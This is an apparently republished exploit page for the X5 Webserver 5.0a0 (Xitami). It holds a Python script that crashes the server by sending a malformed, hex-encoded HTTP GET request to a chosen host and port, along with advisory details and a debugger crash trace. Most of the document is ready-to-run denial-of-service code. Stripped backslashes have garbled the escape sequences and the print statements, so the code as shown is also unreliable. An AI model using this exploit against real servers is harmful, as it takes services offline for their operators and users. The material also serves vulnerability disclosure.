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X5 Webserver 5.0 Remote Denial Of Service Exploit

Posted on 30 November -0001

<HTML><HEAD><TITLE>X5 Webserver 5.0 Remote Denial Of Service Exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/usr/bin/env python
#
#
# X5 Webserver 5.0 Remote Denial Of Service Exploit
#
#
# Vendor: iMatrix
# Product web page: http://www.xitami.com
# Affected version: 5.0a0
#
# Summary: X5 is the latest generation web server from iMatix Corporation.
# The Xitami product line stretches back to 1996. X5 is built using iMatix's
# current Base2 technology for multithreading applications. On multicore machines,
# it is much more scalable than Xitami/2.
#
# Desc: The vulnerability is caused due to a NULL pointer dereference when processing
# malicious HEAD and GET requests. This can be exploited to cause denial of service
# scenario.
#
# ----------------------------------------------------------------------------
#
# (12c0.164c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:zslabws64327xitami-5.0a0-windowsxitami.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:zslabws64327xitami-5.0a0-windowsxitami.exe
# eax=0070904d ebx=03a91808 ecx=0070904d edx=00000000 esi=0478fef4 edi=0478fe8c
# eip=00503ae0 esp=0478fb28 ebp=0478fb48 iopl=0         nv up ei pl zr na pe nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
# xitami+0x103ae0:
# 00503ae0 8b02            mov     eax,dword ptr [edx]  ds:002b:00000000=????????
# 0:004> kb
#  # ChildEBP RetAddr  Args to Child              
# WARNING: Stack unwind information not available. Following frames may be wrong.
# 00 0478fb48 00460ee6 0ace0840 04025ea0 0478fd78 xitami+0x103ae0
# 01 0478fe8c 0045f6fa 0ace0bd8 0478ff28 cccccccc xitami+0x60ee6
# 02 0478fee8 004c60a1 0478ff14 00000000 0478ff38 xitami+0x5f6fa
# 03 0478ff28 004fdca3 03a90858 03a67e38 00000000 xitami+0xc60a1
# 04 0478ff40 00510293 03a90858 fc134d7d 00000000 xitami+0xfdca3
# 05 0478ff7c 00510234 00000000 0478ff94 7679338a xitami+0x110293
# 06 0478ff88 7679338a 03a91808 0478ffd4 77029902 xitami+0x110234
# 07 0478ff94 77029902 03a91808 7134bcc2 00000000 kernel32!BaseThreadInitThunk+0xe
# 08 0478ffd4 770298d5 00510190 03a91808 00000000 ntdll!__RtlUserThreadStart+0x70
# 09 0478ffec 00000000 00510190 03a91808 00000000 ntdll!_RtlUserThreadStart+0x1b
#
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Stefan Petrushevski aka sm - <stefan@zeroscience.mk>
#
#
# Advisory ID: ZSL-2016-5377
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5377.php
#
#
# 15.11.2016
#


import sys, socket

if len(sys.argv) < 3:
	print '------- X5 Webserver 5.0a0 - Remote Denial of Service ------
'
	print '
Usage: ' + sys.argv[0] + ' <target> <port>
'
	print 'Example: ' + sys.argv[0] + ' 8.8.8.8 80
'
	print '------------------------------------------------------------
'
	sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(666)
payload = (
'x47x45x54x20x2fx50x52x4ex20x48x54x54x50x2fx31x2ex31x0dx0a'
'x48x6fx73x74x3ax20x31x37x32x2ex31x39x2ex30x2ex32x31x35x0d'
'x0ax55x73x65x72x2dx41x67x65x6ex74x3ax20x5ax53x4cx2dx46x75'
'x7ax7ax65x72x2dx41x67x65x6ex74x2fx34x2ex30x2ex32x38x35x20'
'x0dx0ax41x63x63x65x70x74x3ax20x74x65x78x74x2fx78x6dx6cx2c'
'x61x70x70x6cx69x63x61x74x69x6fx6ex2fx78x6dx6cx2cx61x70x70'
'x6cx69x63x61x74x69x6fx6ex2fx78x68x74x6dx6cx2bx78x6dx6cx2c'
'x74x65x78x74x2fx68x74x6dx6cx3bx71x3dx30x2ex39x2cx74x65x78'
'x74x2fx70x6cx61x69x6ex3bx71x3dx30x2ex38x2cx69x6dx61x67x65'
'x2fx70x6ex67x2cx2ax2fx2ax3bx71x3dx30x2ex35x0dx0ax41x63x63'
'x65x70x74x2dx4cx61x6ex67x75x61x67x65x3ax20x65x6ex2dx75x73'
'x2cx65x6ex3bx71x3dx30x2ex35x0dx0ax41x63x63x65x70x74x2dx45'
'x6ex63x6fx64x69x6ex67x3ax20x67x7ax69x70x2cx64x65x66x6cx61'
'x74x65x0dx0ax41x63x63x65x70x74x2dx43x68x61x72x73x65x74x3a'
'x20x49x53x4fx2dx38x38x35x39x2dx31x2cx75x74x66x2dx38x3bx71'
'x3dx30x2ex37x2cx2ax3bx71x3dx30x2ex37x0dx0ax4bx65x65x70x2d'
'x41x6cx69x76x65x3ax20x33x30x30x0dx0ax43x6fx6ex6ex65x63x74'
'x69x6fx6ex3ax20x6bx65x65x70x2dx61x6cx69x76x65x0dx0ax0dx0a'
)

s.send(payload)
s.close
print 'BOOM! 
'
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